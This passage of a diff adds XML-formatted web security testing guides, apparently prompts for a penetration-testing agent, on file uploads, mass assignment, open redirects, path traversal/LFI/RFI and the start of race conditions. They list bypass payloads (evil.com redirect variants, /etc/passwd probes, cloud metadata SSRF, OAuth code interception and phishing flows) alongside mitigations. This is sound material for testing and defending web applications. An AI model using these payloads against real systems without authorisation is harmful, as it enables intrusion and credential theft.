- Upload benign chunks, then swap last chunk or complete with different source if server trusts client-side digests only
|
||||
</resumable_multipart>
|
||||
|
||||
<filename_and_path>
|
||||
- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators and filesystem rules
|
||||
- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
|
||||
</filename_and_path>
|
||||
|
||||
<processing_races>
|
||||
- Request file immediately after upload but before AV/CDR completes; or during derivative creation to get unprocessed content
|
||||
- Trigger heavy conversions (large images, deep PDFs) to widen race windows
|
||||
</processing_races>
|
||||
|
||||
<metadata_abuse>
|
||||
- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws; payloads in document properties of Office/PDF rendered by previewers
|
||||
</metadata_abuse>
|
||||
|
||||
<header_manipulation>
|
||||
- Force inline rendering with Content-Type + inline Content-Disposition; test browsers with and without nosniff
|
||||
- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
|
||||
</header_manipulation>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<validation_gaps>
|
||||
- Client-side only checks; relying on JS/MIME provided by browser; trusting multipart boundary part headers blindly
|
||||
- Extension allowlists without server-side content inspection; magic-bytes only without full parsing
|
||||
</validation_gaps>
|
||||
|
||||
<evasion_tricks>
|
||||
- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix
|
||||
- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence
|
||||
</evasion_tricks>
|
||||
</filter_bypasses>
|
||||
|
||||
<special_contexts>
|
||||
<rich_text_editors>
|
||||
- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers for embedded content
|
||||
</rich_text_editors>
|
||||
|
||||
<mobile_clients>
|
||||
- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations or EXIF orientation
|
||||
</mobile_clients>
|
||||
|
||||
<serverless_and_cdn>
|
||||
- Direct-to-bucket uploads with Lambda/Workers post-processing; verify that security decisions are not delegated to frontends
|
||||
- CDN caching of uploaded content; ensure correct cache keys and headers (attachment, nosniff)
|
||||
</serverless_and_cdn>
|
||||
</special_contexts>
|
||||
|
||||
<parser_hardening>
|
||||
- Validate on server: strict allowlist by true type (parse enough to confirm), size caps, and structural checks (dimensions, page count)
|
||||
- Strip active content: convert SVG→PNG; remove scripts/JS from PDF; disable macros; normalize EXIF; consider CDR for risky types
|
||||
- Store outside web root; serve via application or signed, time-limited URLs with Content-Disposition: attachment and X-Content-Type-Options: nosniff
|
||||
- For cloud: private buckets, per-request signed GET, enforce Content-Type/Disposition on GET responses from your app/gateway
|
||||
- Disable execution in upload paths; ignore .htaccess/.user.ini; sanitize keys to prevent path injections; randomize filenames
|
||||
- AV + CDR: scan synchronously when possible; quarantine until verdict; block password-protected archives or process in sandbox
|
||||
</parser_hardening>
|
||||
|
||||
<validation>
|
||||
1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed.
|
||||
2. Show filter bypass: upload accepted despite restrictions (extension/MIME/magic mismatch) with evidence on retrieval.
|
||||
3. Prove header weaknesses: inline rendering without nosniff or missing attachment; present exact response headers.
|
||||
4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory; derivative creation from malicious input.
|
||||
5. Provide reproducible steps: request/response for upload and subsequent access, with minimal PoCs.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Upload stored but never served back; or always served as attachment with strict nosniff
|
||||
- Converters run in locked-down sandboxes with no external IO and no script engines; no path traversal on archive extraction
|
||||
- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Remote code execution on application stack or media toolchain host
|
||||
- Persistent cross-site scripting and session/token exfiltration via served uploads
|
||||
- Malware distribution via public storage/CDN; brand/reputation damage
|
||||
- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs or oversized assets
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant, and benign magic-byte polyglots.
|
||||
2. Always capture download response headers and final MIME from the server/CDN; that decides browser behavior.
|
||||
3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than attempting complex sanitization.
|
||||
4. In presigned flows, constrain all headers and object keys server-side; ignore client-supplied ACL and metadata.
|
||||
5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal.
|
||||
6. Test finalize/complete steps in resumable flows; many validations only run on init, not at completion.
|
||||
7. Verify background processors with EICAR and tiny polyglots; ensure quarantine gates access until safe.
|
||||
8. When you cannot get execution, aim for stored XSS or header-driven script execution; both are impactful.
|
||||
9. Validate that CDNs honor attachment/nosniff and do not override Content-Type/Disposition.
|
||||
10. Document full pipeline behavior per asset type; defenses must match actual processors and serving paths.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.</remember>
|
||||
</insecure_file_uploads_guide>
|
||||
@@ -0,0 +1,141 @@
|
||||
<mass_assignment_guide>
|
||||
<title>MASS ASSIGNMENT</title>
|
||||
|
||||
<critical>Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.</critical>
|
||||
|
||||
<scope>
|
||||
- REST/JSON, GraphQL inputs, form-encoded and multipart bodies
|
||||
- Model binding in controllers/resolvers; ORM create/update helpers
|
||||
- Writable nested relations, sparse/patch updates, bulk endpoints
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Identify create/update endpoints and GraphQL mutations. Capture full server responses to observe returned fields.
|
||||
2. Build a candidate list of sensitive attributes per resource: role/isAdmin/permissions, ownerId/accountId/tenantId, status/state, plan/price, limits/quotas, feature flags, verification flags, balance/credits.
|
||||
3. Inject candidates alongside legitimate updates across transports and encodings; compare before/after state and diffs across roles.
|
||||
4. Repeat with nested objects, arrays, and alternative shapes (dot/bracket notation, duplicate keys) and in batch operations.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- Controllers with automatic binding (e.g., request.json → model); GraphQL input types mirroring models; admin/staff tools exposed via API
|
||||
- OpenAPI/GraphQL schemas: uncover hidden fields or enums; SDKs often reveal writable fields
|
||||
- Client bundles and mobile apps: inspect forms and mutation payloads for field names
|
||||
</surface_map>
|
||||
|
||||
<parameter_strategies>
|
||||
- Flat fields: isAdmin, role, roles[], permissions[], status, plan, tier, premium, verified, emailVerified
|
||||
- Ownership/tenancy: userId, ownerId, accountId, organizationId, tenantId, workspaceId
|
||||
- Limits/quotas: usageLimit, seatCount, maxProjects, creditBalance
|
||||
- Feature flags/gates: features, flags, betaAccess, allowImpersonation
|
||||
- Billing: price, amount, currency, prorate, nextInvoice, trialEnd
|
||||
</parameter_strategies>
|
||||
|
||||
<shape_variants>
|
||||
- Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys
|
||||
- Dot/bracket paths: profile.role, profile[role], settings[roles][]
|
||||
- Duplicate keys and precedence: {"role":"user","role":"admin"}
|
||||
- Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths or replacing protected fields
|
||||
</shape_variants>
|
||||
|
||||
<encodings_and_channels>
|
||||
- Content-types: application/json, application/x-www-form-urlencoded, multipart/form-data, text/plain (JSON via server coercion)
|
||||
- GraphQL: add suspicious fields to input objects; overfetch response to detect changes
|
||||
- Batch/bulk: arrays of objects; verify per-item allowlists not skipped
|
||||
</encodings_and_channels>
|
||||
|
||||
<exploitation_techniques>
|
||||
<privilege_escalation>
|
||||
- Set role/isAdmin/permissions during signup/profile update; toggle admin/staff flags where exposed
|
||||
</privilege_escalation>
|
||||
|
||||
<ownership_takeover>
|
||||
- Change ownerId/accountId/tenantId to seize resources; move objects across users/tenants
|
||||
</ownership_takeover>
|
||||
|
||||
<feature_gate_bypass>
|
||||
- Enable premium/beta/feature flags via flags/features fields; raise limits/seatCount/quotas
|
||||
</feature_gate_bypass>
|
||||
|
||||
<billing_and_entitlements>
|
||||
- Modify plan/price/prorate/trialEnd or creditBalance; bypass server recomputation
|
||||
</billing_and_entitlements>
|
||||
|
||||
<nested_and_relation_writes>
|
||||
- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller’s scope (e.g., attach to another user’s org)
|
||||
</nested_and_relation_writes>
|
||||
|
||||
<advanced_techniques>
|
||||
<graphQL_specific>
|
||||
- Field-level authz missing on input types: attempt forbidden fields in mutation inputs; combine with aliasing/batching to compare effects
|
||||
- Use fragments to overfetch changed fields immediately after mutation
|
||||
</graphQL_specific>
|
||||
|
||||
<orm_framework_edges>
|
||||
- Rails: strong parameters misconfig or deep nesting via accepts_nested_attributes_for
|
||||
- Laravel: $fillable/$guarded misuses; guarded=[] opens all; casts mutating hidden fields
|
||||
- Django REST Framework: writable nested serializer, read_only/extra_kwargs gaps, partial updates
|
||||
- Mongoose/Prisma: schema paths not filtered; select:false doesn’t prevent writes; upsert defaults
|
||||
</orm_framework_edges>
|
||||
|
||||
<parser_and_validator_gaps>
|
||||
- Validators run post-bind and do not cover extra fields; unknown fields silently dropped in response but persisted underneath
|
||||
- Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline
|
||||
</parser_and_validator_gaps>
|
||||
|
||||
<bypass_techniques>
|
||||
<content_type_switching>
|
||||
- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
|
||||
</content_type_switching>
|
||||
|
||||
<key_path_variants>
|
||||
- Dot/bracket/object re-shaping to reach nested fields through different binders
|
||||
</key_path_variants>
|
||||
|
||||
<batch_paths>
|
||||
- Per-item checks skipped in bulk operations; insert a single malicious object within a large batch
|
||||
</batch_paths>
|
||||
|
||||
<race_and_reorder>
|
||||
- Race two updates: first sets forbidden field, second normalizes; final state may retain forbidden change
|
||||
</race_and_reorder>
|
||||
|
||||
<validation>
|
||||
1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller.
|
||||
2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value.
|
||||
3. Demonstrate consistency across at least two encodings or channels.
|
||||
4. For nested/bulk, show that protected fields are written within child objects or array elements.
|
||||
5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Server recomputes derived fields (plan/price/role) ignoring client input
|
||||
- Fields marked read-only and enforced consistently across encodings
|
||||
- Only UI-side changes with no persisted effect
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Privilege escalation and admin feature access
|
||||
- Cross-tenant or cross-account resource takeover
|
||||
- Financial/billing manipulation and quota abuse
|
||||
- Policy/approval bypass by toggling verification or status flags
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Build a sensitive-field dictionary per resource and fuzz systematically.
|
||||
2. Always try alternate shapes and encodings; many validators are shape/CT-specific.
|
||||
3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields.
|
||||
4. Inspect SDKs/mobile apps for hidden field names and nested write examples.
|
||||
5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects.
|
||||
</pro_tips>
|
||||
|
||||
<mitigations>
|
||||
- Enforce server-side allowlists per operation and role; deny unknown fields by default
|
||||
- Separate input DTOs from domain models; map explicitly
|
||||
- Recompute derived fields (role/plan/owner) from trusted context; ignore client values
|
||||
- Lock nested writes to owned resources; validate foreign keys against caller scope
|
||||
- For GraphQL, use input types that expose only permitted fields and enforce resolver-level checks
|
||||
</mitigations>
|
||||
|
||||
<remember>Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.</remember>
|
||||
</mass_assignment_guide>
|
||||
@@ -0,0 +1,177 @@
|
||||
<open_redirect_vulnerability_guide>
|
||||
<title>OPEN REDIRECT</title>
|
||||
|
||||
<critical>Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.</critical>
|
||||
|
||||
<scope>
|
||||
- Server-driven redirects (HTTP 3xx Location) and client-driven redirects (window.location, meta refresh, SPA routers)
|
||||
- OAuth/OIDC/SAML flows using redirect_uri, post_logout_redirect_uri, RelayState, returnTo/continue/next
|
||||
- Multi-hop chains where only the first hop is validated
|
||||
- Allowlist/canonicalization bypasses across URL parsers and reverse proxies
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory all redirect surfaces: login/logout, password reset, SSO/OAuth flows, payment gateways, email links, invite/verification, unsubscribe, language/locale switches, /out or /r redirectors.
|
||||
2. Build a test matrix of scheme×host×path variants and encoding/unicode forms. Compare server-side validation vs browser navigation results.
|
||||
3. Exercise multi-hop: trusted-domain → redirector → external. Verify if validation applies pre- or post-redirect.
|
||||
4. Prove impact: credential phishing, OAuth code interception, internal egress (if a server fetcher follows redirects).
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<injection_points>
|
||||
- Params: redirect, url, next, return_to, returnUrl, continue, goto, target, callback, out, dest, back, to, r, u
|
||||
- OAuth/OIDC/SAML: redirect_uri, post_logout_redirect_uri, RelayState, state (if used to compute final destination)
|
||||
- SPA: router.push/replace, location.assign/href, meta refresh, window.open
|
||||
- Headers influencing construction: Host, X-Forwarded-Host/Proto, Referer; and server-side Location echo
|
||||
</injection_points>
|
||||
|
||||
<parser_differentials>
|
||||
<userinfo>
|
||||
https://trusted.com@evil.com → many validators parse host as trusted.com, browser navigates to evil.com
|
||||
Variants: trusted.com%40evil.com, a%40evil.com%40trusted.com
|
||||
</userinfo>
|
||||
|
||||
<backslash_and_slashes>
|
||||
https://trusted.com\\evil.com, https://trusted.com\\@evil.com, ///evil.com, /\\evil.com
|
||||
Windows/backends may normalize \\ to /; browsers differ on interpretation of extra leading slashes
|
||||
</backslash_and_slashes>
|
||||
|
||||
<whitespace_and_ctrl>
|
||||
http%09://evil.com, http%0A://evil.com, trusted.com%09evil.com
|
||||
Control/whitespace around the scheme/host can split parsers
|
||||
</whitespace_and_ctrl>
|
||||
|
||||
<fragment_and_query>
|
||||
trusted.com#@evil.com, trusted.com?//@evil.com, ?next=//evil.com#@trusted.com
|
||||
Validators often stop at # while the browser parses after it
|
||||
</fragment_and_query>
|
||||
|
||||
<unicode_and_idna>
|
||||
Punycode/IDN: truѕted.com (Cyrillic), trusted.com。evil.com (full-width dot), trailing dot trusted.com.
|
||||
Test with mixed Unicode normalization and IDNA conversion
|
||||
</unicode_and_idna>
|
||||
</parser_differentials>
|
||||
|
||||
<encoding_bypasses>
|
||||
- Double encoding: %2f%2fevil.com, %252f%252fevil.com
|
||||
- Mixed case and scheme smuggling: hTtPs://evil.com, http:evil.com
|
||||
- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 [::ffff:127.0.0.1]
|
||||
- User-controlled path bases: /out?url=/\\evil.com
|
||||
</encoding_bypasses>
|
||||
</discovery_techniques>
|
||||
|
||||
<allowlist_evasion>
|
||||
<common_mistakes>
|
||||
- Substring/regex contains checks: allows trusted.com.evil.com, or path matches leaking external
|
||||
- Wildcards: *.trusted.com also matches attacker.trusted.com.evil.net
|
||||
- Missing scheme pinning: data:, javascript:, file:, gopher: accepted
|
||||
- Case/IDN drift between validator and browser
|
||||
</common_mistakes>
|
||||
|
||||
<robust_validation>
|
||||
- Canonicalize with a single modern URL parser (WHATWG URL) and compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
|
||||
- Require absolute HTTPS; reject protocol-relative // and unknown schemes
|
||||
- Normalize and compare after following zero redirects only; if following, re-validate the final destination per hop server-side
|
||||
</robust_validation>
|
||||
</allowlist_evasion>
|
||||
|
||||
<oauth_oidc_saml>
|
||||
<redirect_uri_abuse>
|
||||
- Using an open redirect on a trusted domain for redirect_uri enables code interception
|
||||
- Weak prefix/suffix checks: https://trusted.com → https://trusted.com.evil.com; /callback → /callback@evil.com
|
||||
- Path traversal/canonicalization: /oauth/../../@evil.com
|
||||
- post_logout_redirect_uri often less strictly validated; test both
|
||||
- state must be unguessable and bound to client/session; do not recompute final destination from state without validation
|
||||
</redirect_uri_abuse>
|
||||
|
||||
<defense_notes>
|
||||
- Pre-register exact redirect_uri values per client (no wildcards). Enforce exact scheme/host/port/path match
|
||||
- For public native apps, follow RFC guidance (loopback 127.0.0.1 with exact port handling); disallow open web redirectors
|
||||
- SAML RelayState should be validated against an allowlist or ignored for absolute URLs
|
||||
</defense_notes>
|
||||
</oauth_oidc_saml>
|
||||
|
||||
<client_side_vectors>
|
||||
<javascript_redirects>
|
||||
- location.href/assign/replace using user input; ensure targets are normalized and restricted to same-origin or allowlist
|
||||
- meta refresh content=0;url=USER_INPUT; browsers treat javascript:/data: differently; still dangerous in client-controlled redirects
|
||||
- SPA routers: router.push(searchParams.get('next')); enforce same-origin and strip schemes
|
||||
</javascript_redirects>
|
||||
|
||||
</client_side_vectors>
|
||||
|
||||
<reverse_proxies_and_gateways>
|
||||
- Host/X-Forwarded-* may change absolute URL construction; validate against server-derived canonical origin, not client headers
|
||||
- CDNs that follow redirects for link checking or prefetching can leak tokens when chained with open redirects
|
||||
</reverse_proxies_and_gateways>
|
||||
|
||||
<ssrf_chaining>
|
||||
- Some server-side fetchers (web previewers, link unfurlers, validators) follow 3xx; combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost, cluster addresses)
|
||||
- Confirm by observing distinct error/timing for internal vs external, or OAST callbacks when reachable
|
||||
</ssrf_chaining>
|
||||
|
||||
<framework_notes>
|
||||
<server_side>
|
||||
- Rails: redirect_to params[:url] without URI parsing; test array params and protocol-relative
|
||||
- Django: HttpResponseRedirect(request.GET['next']) without is_safe_url; relies on ALLOWED_HOSTS + scheme checks
|
||||
- Spring: return "redirect:" + param; ensure UriComponentsBuilder normalization and allowlist
|
||||
- Express: res.redirect(req.query.url); use a safe redirect helper enforcing relative paths or a vetted allowlist
|
||||
</server_side>
|
||||
|
||||
<client_side>
|
||||
- React/Next.js/Vue/Angular routing based on URLSearchParams; ensure same-origin policy and disallow external schemes in client code
|
||||
</client_side>
|
||||
</framework_notes>
|
||||
|
||||
<exploitation_scenarios>
|
||||
<oauth_code_interception>
|
||||
1. Set redirect_uri to https://trusted.example/out?url=https://attacker.tld/cb
|
||||
2. IdP sends code to trusted.example which redirects to attacker.tld
|
||||
3. Exchange code for tokens; demonstrate account access
|
||||
</oauth_code_interception>
|
||||
|
||||
<phishing_flow>
|
||||
1. Send link on trusted domain: /login?next=https://attacker.tld/fake
|
||||
2. Victim authenticates; browser navigates to attacker page
|
||||
3. Capture credentials/tokens via cloned UI or injected JS
|
||||
</phishing_flow>
|
||||
|
||||
<internal_evasion>
|
||||
1. Server-side link unfurler fetches https://trusted.example/out?u=http://169.254.169.254/latest/meta-data
|
||||
2. Redirect follows to metadata; confirm via timing/headers or controlled endpoints
|
||||
</internal_evasion>
|
||||
</exploitation_scenarios>
|
||||
|
||||
<validation>
|
||||
1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture.
|
||||
2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants.
|
||||
3. Test multi-hop: prove only first hop is validated and second hop escapes constraints.
|
||||
4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint with role-separated evidence.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Redirects constrained to relative same-origin paths with robust normalization
|
||||
- Exact pre-registered OAuth redirect_uri with strict verifier
|
||||
- Validators using a single canonical parser and comparing post-IDNA host and scheme
|
||||
- User prompts that show the exact final destination before navigating and refuse unknown schemes
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Credential and token theft via phishing and OAuth/OIDC interception
|
||||
- Internal data exposure when server fetchers follow redirects (previewers/unfurlers)
|
||||
- Policy bypass where allowlists are enforced only on the first hop
|
||||
- Cross-application trust erosion and brand abuse
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses.
|
||||
2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early; they catch many weak validators.
|
||||
3. In OAuth, prioritize post_logout_redirect_uri and less-discussed flows; they’re often looser.
|
||||
4. Exercise multi-hop across distinct subdomains and paths; validators commonly check only hop 1.
|
||||
5. For SSRF chaining, target services known to follow redirects and log their outbound requests.
|
||||
6. Favor allowlists of exact origins plus optional path prefixes; never substring/regex contains checks.
|
||||
7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go) reflecting each parser’s quirks.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.</remember>
|
||||
</open_redirect_vulnerability_guide>
|
||||
@@ -0,0 +1,142 @@
|
||||
<path_traversal_lfi_rfi_guide>
|
||||
<title>PATH TRAVERSAL, LFI, AND RFI</title>
|
||||
|
||||
<critical>Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.</critical>
|
||||
|
||||
<scope>
|
||||
- Path traversal: read files outside intended roots via ../, encoding, normalization gaps
|
||||
- Local File Inclusion (LFI): include server-side files into interpreters/templates
|
||||
- Remote File Inclusion (RFI): include remote resources (HTTP/FTP/wrappers) for code execution
|
||||
- Archive extraction traversal (Zip Slip): write outside target directory upon unzip/untar
|
||||
- Server/proxy normalization mismatches (nginx alias/root, upstream decoders)
|
||||
- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory all file operations: downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors.
|
||||
2. Identify input joins: path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations.
|
||||
3. Probe normalization and resolution: separators, encodings, double-decodes, case, trailing dots/slashes; compare web server vs application behavior.
|
||||
4. Escalate from disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains).
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- HTTP params: file, path, template, include, page, view, download, export, report, log, dir, theme, lang
|
||||
- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
|
||||
- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
|
||||
- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
|
||||
- Reverse proxies and static file servers (nginx, CDN) in front of app handlers
|
||||
</surface_map>
|
||||
|
||||
<capability_probes>
|
||||
- Path traversal baseline: ../../etc/hosts and C:\\Windows\\win.ini
|
||||
- Encodings: %2e%2e%2f, %252e%252e%252f, ..%2f, ..%5c, mixed UTF-8 (%c0%2e), Unicode dots and slashes
|
||||
- Normalization tests: ....//, ..\\, ././, trailing dot/double dot segments; repeated decoding
|
||||
- Absolute path acceptance: /etc/passwd, C:\\Windows\\System32\\drivers\\etc\\hosts
|
||||
- Server mismatch: /static/..;/../etc/passwd ("..;"), encoded slashes (%2F), double-decoding via upstream
|
||||
</capability_probes>
|
||||
</discovery_techniques>
|
||||
|
||||
<detection_channels>
|
||||
<direct>
|
||||
- Response body discloses file content (text, binary, base64); error pages echo real paths
|
||||
</direct>
|
||||
|
||||
<error_based>
|
||||
- Exception messages expose canonicalized paths or include() warnings with real filesystem locations
|
||||
</error_based>
|
||||
|
||||
<oast>
|
||||
- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
|
||||
</oast>
|
||||
|
||||
<side_effects>
|
||||
- Archive extraction writes files unexpectedly outside target; verify with directory listings or follow-up reads
|
||||
</side_effects>
|
||||
</detection_channels>
|
||||
|
||||
<path_traversal>
|
||||
<bypasses_and_variants>
|
||||
- Encodings: single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
|
||||
- Mixed separators: / and \\ on Windows; // and \\\\ collapse differences across frameworks
|
||||
- Dot tricks: ....// (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
|
||||
- Absolute path injection: bypass joins by supplying a rooted path
|
||||
- Alias/root mismatch (nginx): alias without trailing slash with nested location allows ../ to escape; try /static/../etc/passwd and ";" variants (..;)
|
||||
- Upstream vs backend decoding: proxies/CDNs decoding %2f differently; test double-decoding and encoded dots
|
||||
</bypasses_and_variants>
|
||||
|
||||
<high_value_targets>
|
||||
- /etc/passwd, /etc/hosts, application .env/config.yaml, SSH/keys, cloud creds, service configs/logs
|
||||
- Windows: C:\\Windows\\win.ini, IIS/web.config, programdata configs, application logs
|
||||
- Source code templates and server-side includes; secrets in env dumps
|
||||
</high_value_targets>
|
||||
</path_traversal>
|
||||
|
||||
<lfi>
|
||||
<wrappers_and_techniques>
|
||||
- PHP wrappers: php://filter/convert.base64-encode/resource=index.php (read source), zip://archive.zip#file.txt, data://text/plain;base64, expect:// (if enabled)
|
||||
- Log/session poisoning: inject PHP/templating payloads into access/error logs or session files then include them (paths vary by stack)
|
||||
- Upload temp names: include temporary upload files before relocation; race with scanners
|
||||
- /proc/self/environ and framework-specific caches for readable secrets
|
||||
- Null-byte (legacy): %00 truncation in older stacks; path length truncation tricks
|
||||
</wrappers_and_techniques>
|
||||
|
||||
<template_engines>
|
||||
- PHP include/require; Smarty/Twig/Blade with dynamic template names
|
||||
- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
|
||||
- Seek dynamic template resolution from user input (theme/lang/template)
|
||||
</template_engines>
|
||||
</lfi>
|
||||
|
||||
<rfi>
|
||||
<conditions>
|
||||
- Remote includes (allow_url_include/allow_url_fopen in PHP), custom fetchers that eval/execute retrieved content, SSRF-to-exec bridges
|
||||
- Protocol handlers: http, https, ftp; language-specific stream handlers
|
||||
</conditions>
|
||||
|
||||
<exploitation>
|
||||
- Host a minimal payload that proves code execution; prefer OAST beacons or deterministic output over heavy shells
|
||||
- Chain with upload or log poisoning when remote includes are disabled to reach local payloads
|
||||
</exploitation>
|
||||
</rfi>
|
||||
|
||||
<archive_extraction>
|
||||
<zip_slip>
|
||||
- Files within archives containing ../ or absolute paths escape target extract directory
|
||||
- Test multiple formats: zip/tar/tgz/7z; verify symlink handling and path canonicalization prior to write
|
||||
- Impact: overwrite config/templates or drop webshells into served directories
|
||||
</zip_slip>
|
||||
</archive_extraction>
|
||||
|
||||
<validation>
|
||||
1. Show a minimal traversal read proving out-of-root access (e.g., /etc/hosts) with a same-endpoint in-root control.
|
||||
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (php://filter base64 of index.php); avoid active code when not permitted.
|
||||
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads.
|
||||
4. For Zip Slip, create an archive with ../ entries and show write outside target (e.g., marker file read back).
|
||||
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
|
||||
- Canonicalized paths constrained to an allowlist/root after normalization
|
||||
- Wrappers disabled and includes using constant templates only
|
||||
- Archive extractors that sanitize paths and enforce destination directories
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Sensitive configuration/source disclosure → credential and key compromise
|
||||
- Code execution via inclusion of attacker-controlled content or overwritten templates
|
||||
- Persistence via dropped files in served directories; lateral movement via revealed secrets
|
||||
- Supply-chain impact when report/template engines execute attacker-influenced files
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise.
|
||||
2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for %2f and %2e encodings.
|
||||
3. For LFI, prefer php://filter base64 probes over destructive payloads; enumerate readable logs and sessions.
|
||||
4. Validate extraction code with synthetic archives; include symlinks and deep ../ chains.
|
||||
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.</remember>
|
||||
</path_traversal_lfi_rfi_guide>
|
||||
@@ -0,0 +1,164 @@
|
||||
<race_conditions_guide>
|
||||
<title>RACE CONDITIONS</title>
|
||||
|
||||
<critical>Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.</critical>
|
||||
|
||||
<scope>
|
||||
- Read–modify–write sequences without atomicity or proper locking
|
||||
- Multi-step operations (check → reserve → commit) with gaps between phases
|
||||
- Cross-service workflows (sagas, async jobs) with eventual consistency
|
||||
- Rate limits, quotas, and idempotency controls implemented at the edge only
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Model invariants for each workflow (e.g., conservation of value, uniqueness, maximums). Identify reads and writes and where they occur (service, DB, cache).
|
||||
2. Establish a baseline with single requests. Then issue concurrent requests with identical inputs. Observe deltas in state and responses.
|
||||
3. Scale and synchronize: ramp up parallelism, switch transports (HTTP/1.1, HTTP/2), and align request timing (last-byte sync, warmed connections).
|
||||
4. Repeat across channels (web, API, GraphQL, WebSocket) and roles. Confirm durability and reproducibility.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<identify_race_windows>
|
||||
- Look for explicit sequences in code or docs: "check balance then deduct", "verify coupon then apply", "check inventory then purchase", "validate token then consume"
|
||||
